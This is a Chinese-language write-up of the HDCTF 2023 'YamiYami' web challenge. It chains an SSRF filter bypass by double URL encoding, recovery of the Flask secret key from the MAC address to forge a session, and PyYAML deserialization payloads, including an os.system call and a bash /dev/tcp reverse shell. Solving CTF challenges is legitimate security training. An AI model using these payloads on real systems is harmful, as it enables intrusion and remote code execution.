[HDCTF 2023]YamiYami

最后更新于 2024-08-05 964 字 预计阅读时间: 4 分钟


进入页面

点击pwd显示app,查看响应头为python

点击read发现存在ssrf,输入file:///flag发现被过滤

猜测是urlopen二次url编码绕过过滤

file:///%2561%2570%2570%252F%2561%2570%2570%252E%2570%2579------>经过request.get获取后解码一次变成file:///%61%70%70%2F%61%70%70%2E%70%79,通过waf--------->传入urlopen自动解码变成file:///app/app.py实现ssrf得到源码

# encoding:utf-8
import os
import requests
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = False
BLACK_LIST = ["yaml", "YAML", "YML", "yml", "yamiyami"]
app.config['UPLOAD_FOLDER'] = "/app/uploads"
@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/pwd">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport") == "Welcome To HDCTF2023":
LoadedFile = request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__ == '__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])

得到加密jwt的key,代码通过uuid.getnode()得到设备的mac地址,可以读取file:///sys/class/net/eth0/address得到mac地址

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
import random
random.seed(0x0242ac023622)
print(str(random.random() * 233))

访问/boogipop路由时执行yaml.full_load(f)存在yaml的反序列化

yaml的反序列化:

在python的yaml模块中的load函数会将得到的yaml格式数据转换成python的对象方法,内置的转换标签有

  • !!python/object 加载对象
  • !!python/object/new 加载对象
  • !!python/object/apply 加载对象
  • !!python/module 加载文件
  • !!python/name 返回类下面的方法或属性

!!python/object执行对象方法

import yaml
poc = '!!python/object/apply:os.system ["calc.exe"]'
#给出一些相同用法的POC
#poc = '!!python/object/apply:subprocess.check_output [["calc.exe"]]'
#poc = '!!python/object/apply:os.popen ["calc.exe"]'
#poc = '!!python/object/new:os.system ["calc.exe"]'
#poc=
"""
!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port <&1\"')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list
"""#反弹shell
yaml.load(poc)

利用!!python/module进行而已文件运行,配合文件上传使用

import yaml
yaml.load('!!python/module:uploads.eval')

!!python/name 绕过检查

import yaml
KEY = 'Evi1s7'
def check(miyao):
try:
key = yaml.load(miyao).get("key",None)
except Exception:
key = None
if key == KEY:
print("你好Evi1s7")
else:
print("陌生人")
miyao = ''
check(miyao)
#?key=!!python/name:__main__.KEY

伪造好jwt后进行文件上传,在/boogipop路由传入上传反弹shell的文件名,执行反弹shell

GET /boogipop?file=uploads/b.txt HTTP/1.1
Host: node4.anna.nssctf.cn:28715
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1722154117,1722185706,1722265250,1722328261; BD_UPN=13314752; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1722335474; HMACCOUNT=F3D54D54CA499338; session=eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.ZqjB7Q.dmIlP1tkPVYA1urV4EejWiuuD2A
Upgrade-Insecure-Requests: 1
Priority: u=0, i

获取flag

参考文章

此作者没有提供个人介绍。
最后更新于 2024-08-05